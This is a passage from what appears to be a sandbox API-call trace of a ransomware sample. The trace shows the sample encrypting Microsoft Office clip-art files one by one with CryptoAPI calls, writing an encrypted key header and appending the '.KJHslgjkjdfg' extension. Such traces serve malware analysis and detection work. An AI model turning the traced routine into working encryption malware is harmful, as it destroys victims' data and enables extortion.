| out: lpNewFilePointer=0x0) returned 1 [0172.450] SetEndOfFile (hFile=0x114) returned 1 [0172.453] GetProcessHeap () returned 0x2a0000 [0172.453] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.453] GetProcessHeap () returned 0x2a0000 [0172.453] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.453] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.kjhslgjkjdfg")) returned 1 [0172.454] CloseHandle (hObject=0x114) returned 1 [0172.454] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x274c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106020.WMF", cAlternateFileName="")) returned 1 [0172.454] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.455] GetProcessHeap () returned 0x2a0000 [0172.455] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.455] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.455] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.455] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.457] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.457] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.457] GetProcessHeap () returned 0x2a0000 [0172.457] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.457] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.457] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.457] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.457] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.457] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.457] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.457] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.458] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.458] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.458] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.458] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.458] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x274c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x274c, lpOverlapped=0x0) returned 1 [0172.459] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2750, dwBufLen=0x2750 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2750) returned 1 [0172.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.459] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2750, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2750, lpOverlapped=0x0) returned 1 [0172.459] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.459] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.459] SetEndOfFile (hFile=0x114) returned 1 [0172.461] GetProcessHeap () returned 0x2a0000 [0172.461] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.461] GetProcessHeap () returned 0x2a0000 [0172.461] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106020.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106020.wmf.kjhslgjkjdfg")) returned 1 [0172.462] CloseHandle (hObject=0x114) returned 1 [0172.462] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x16b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106124.WMF", cAlternateFileName="")) returned 1 [0172.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.463] GetProcessHeap () returned 0x2a0000 [0172.463] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.463] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.463] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.463] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.467] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.467] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.467] GetProcessHeap () returned 0x2a0000 [0172.467] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.467] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.467] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.467] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.467] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.467] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.467] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.467] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.467] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.467] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.467] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.467] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x16b4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x16b4, lpOverlapped=0x0) returned 1 [0172.468] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16c0, dwBufLen=0x16c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x16c0) returned 1 [0172.468] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.468] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x16c0, lpOverlapped=0x0) returned 1 [0172.468] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.468] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1794, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.468] SetEndOfFile (hFile=0x114) returned 1 [0172.471] GetProcessHeap () returned 0x2a0000 [0172.471] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.471] GetProcessHeap () returned 0x2a0000 [0172.471] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.471] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106124.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106124.wmf.kjhslgjkjdfg")) returned 1 [0172.472] CloseHandle (hObject=0x114) returned 1 [0172.472] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5bfc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106146.WMF", cAlternateFileName="")) returned 1 [0172.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.473] GetProcessHeap () returned 0x2a0000 [0172.473] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.473] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.473] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.473] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.475] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.475] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.475] GetProcessHeap () returned 0x2a0000 [0172.475] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.475] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.475] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.475] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.475] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.475] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.475] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.475] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.475] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.475] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.475] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.475] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.475] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5bfc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5bfc, lpOverlapped=0x0) returned 1 [0172.476] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c00, dwBufLen=0x5c00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5c00) returned 1 [0172.477] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.477] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5c00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5c00, lpOverlapped=0x0) returned 1 [0172.477] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.477] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x5cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.477] SetEndOfFile (hFile=0x114) returned 1 [0172.479] GetProcessHeap () returned 0x2a0000 [0172.479] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.479] GetProcessHeap () returned 0x2a0000 [0172.479] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.479] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf.kjhslgjkjdfg")) returned 1 [0172.480] CloseHandle (hObject=0x114) returned 1 [0172.480] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2e7c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106208.WMF", cAlternateFileName="")) returned 1 [0172.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.481] GetProcessHeap () returned 0x2a0000 [0172.481] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.482] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.482] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.482] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.483] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.484] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.484] GetProcessHeap () returned 0x2a0000 [0172.484] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.484] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.484] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.484] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.484] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.484] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.484] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.484] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.484] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.484] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.484] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.484] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.484] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2e7c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2e7c, lpOverlapped=0x0) returned 1 [0172.485] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2e80, dwBufLen=0x2e80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2e80) returned 1 [0172.485] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.485] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2e80, lpOverlapped=0x0) returned 1 [0172.485] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.486] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.486] SetEndOfFile (hFile=0x114) returned 1 [0172.488] GetProcessHeap () returned 0x2a0000 [0172.488] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.488] GetProcessHeap () returned 0x2a0000 [0172.488] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.488] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106208.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106208.wmf.kjhslgjkjdfg")) returned 1 [0172.489] CloseHandle (hObject=0x114) returned 1 [0172.489] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e8eef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4c90, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0106222.WMF", cAlternateFileName="")) returned 1 [0172.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 